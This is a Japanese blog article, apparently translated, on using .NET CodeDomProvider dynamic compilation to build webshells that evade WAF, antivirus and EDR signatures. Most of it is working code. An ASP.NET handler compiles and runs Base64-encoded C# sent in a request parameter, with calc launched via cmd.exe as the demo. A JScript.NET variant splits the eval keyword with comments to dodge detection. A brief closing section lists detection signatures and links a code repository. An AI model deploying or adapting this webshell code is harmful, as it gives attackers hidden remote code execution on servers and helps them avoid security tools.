.NETの動的コンパイル技術に基づく任意のコード実行

.NETの動的コンパイル技術に基づく任意のコード実行

.NETではコンパイル技術を利用して、外部から入力された文字列をコードとして実行することができます。動的コンパイル技術は最も中核となる2つのクラスを提供します。

最終更新 2022/05/15 23:15
Ivan1ee dotNet安全矩阵
読了目安 3 分
カテゴリ
.NET
タグ
.NET C# 動的コンパイル

一、はじめに

現在主流の Waf や Windows Defender などのエンドポイントセキュリティソフト、EDR の多くは、シグネチャベースで検出を行います。.NET や VBS におけるワンライナーシェル(WebShell)で最も一般的な特徴は eval です。攻撃者にとってはこのシステムキーワードを回避する必要があり、eval を避ける方法として逆シリアル化がありますが、既に公開されてから時間が経過しており、多くのセキュリティ製品がこの攻撃リクエストを適切に検出・ブロックできるようになっていると考えられます。筆者は .NET の組み込みクラスである CodeDomProvider を使用して .NET コードの動的コンパイルを実現し、JScript または C# をコンパイル言語として指定します。コンパイルされた WebShell は、現時点では Windows Defender で検出されません。防御側は、トラフィックまたはエンドポイントにおける「CodeDomProvider.CreateProvider」「CreateInstance」などのシグネチャを検出します。

二、動的コンパイル

.NET では、コンパイル技術を使用して外部から入力された文字列をコードとして実行することができます。動的コンパイル技術は、中核となる 2 つのクラス CodeDomProviderCompilerParameters を提供します。前者はコンパイラに相当し、後者はコンパイラパラメータに相当します。CodeDomProvider は複数の言語(C#、VB、JScript など)をサポートします。コンパイラパラメータ CompilerParameters.GenerateExecutable はデフォルトで dll を生成することを意味し、GenerateInMemory= true の場合はメモリ内で読み込まれます。CompileAssemblyFromSource はアセンブリのデータソースを指定し、コンパイル結果からアセンブリを生成してリフレクションで呼び出せるようにします。最後に CreateInstance でオブジェクトをインスタンス化し、リフレクションでカスタムクラスのメソッドを呼び出します。

CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ;     //コンパイラ
CompilerParameters comPara = new CompilerParameters();   //コンパイラパラメータ
comPara.ReferencedAssemblies.Add("System.dll"); //参照の追加
comPara.GenerateExecutable = false; //exe を生成
comPara.GenerateInMemory = true; //メモリ内
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //コンパイルデータのソース
Assembly objAssembly = compilerResults.CompiledAssembly; //アセンブリにコンパイル
object objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); //オブジェクトを作成
MethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); //リフレクションでメソッドを呼び出し
var result = objMifo.Invoke(objInstance, null);

三、実装

上記コードの SourceText メソッドでは、コンパイルする C# ソースコードを提供する必要があります。筆者は NeteyeInput クラスを作成しました。以下がそのコードです。

public static string SourceText(string txt)
{
    StringBuilder sb = new StringBuilder();
    sb.Append("using System;");
    sb.Append(Environment.NewLine);
    sb.Append("namespace  Neteye");
    sb.Append(Environment.NewLine);
    sb.Append("{");
    sb.Append(Environment.NewLine);
    sb.Append("    public class NeteyeInput");
    sb.Append(Environment.NewLine);
    sb.Append("    {");
    sb.Append(Environment.NewLine);
    sb.Append("        public void OutPut()");
    sb.Append(Environment.NewLine);
    sb.Append("        {");
    sb.Append(Environment.NewLine);
    sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));
    sb.Append(Environment.NewLine);
    sb.Append("        }");
    sb.Append(Environment.NewLine);
    sb.Append("    }");
    sb.Append(Environment.NewLine);
    sb.Append("}");
    string code = sb.ToString();
    return code;
}

クラス内で OutPut メソッドを宣言し、このメソッドでは Base64 デコードにより入力された生の文字列を取得します。ここでは電卓起動をデモとして、"System.Diagnostics.Process.Start("cmd.exe","/c calc");" を以下のようにエンコードします。

U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7

最後に、一般ハンドラの ProcessRequest メソッドで呼び出します。

public void ProcessRequest(HttpContext context)
{
    context.Response.ContentType = "text/plain";
    if (!string.IsNullOrEmpty(context.Request["txt"]))
    {
        DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
        context.Response.Write("Execute Status: Success!");
    }
    else
    {
        context.Response.Write("Just For Fun, Please Input txt!");
    }
}

四、その他の方法

JScript.Net 動的コンパイルによる eval の分解

.NET セキュリティにおいて、ワンライナーシェル(WebShell)は主に eval キーワードに処理を委ねるものがほとんどです。しかし、多くのセキュリティ製品はこの部分を重点的に検出するため、筆者は eval を回避する必要があります。.NET で eval が存在するのは JScript.Net のみであるため、動的コンパイラを JScript に指定する必要があります。その他の部分は C# バージョンの動的コンパイルとほぼ同じです。筆者は無関係な文字を挿入することで eval を分解します。コードは以下の通りです。

private static readonly string _jscriptClassText =
        @"import System;
            class JScriptRun
            {
                public static function RunExp(expression : String) : String
                {
                    return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
                }
            }";

コンパイル時に無関係な文字列「/@Ivan1ee@/」を置換するだけで、最終的にコンパイル後にリフレクションで対象メソッドを実行します。

CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/",""));

五、防御策

  • 一般的な Web アプリケーションではこのような使用シーンは多くないため、シグネチャ「CodeDomProvider.CreateProvider」「CreateInstance」などを検出した場合、特に注意が必要です。
  • コンパイルで生成されたアセンブリは一時ファイルとしてハードディスクに保存されるため、書き込み可能ディレクトリにおける dll ファイルの内容監視を追加する必要があります。
  • 本記事で使用したコードは以下のリポジトリにまとめられています: https://github.com/Ivan1ee/.NETWebShell
さらに探索

関連読書

その他の記事
同じカテゴリ / 同じタグ 2026/04/22

各OSバージョンの.NETサポート状況(250707更新)

仮想マシンとテストマシンを使用して、各OSバージョンの.NETサポート状況を確認します。OSインストール後、対応するランタイムをインストールし、Stardustエージェントを実行できることを確認します(合格条件)。

続きを読む
同じカテゴリ / 同じタグ 2026/02/07

AOTの使用経験のまとめ

プロジェクト作成当初から、新機能を追加したり新しい構文を使用したりした場合には、すぐにAOT公開テストを実施するという良い習慣を身につけるべきです。

続きを読む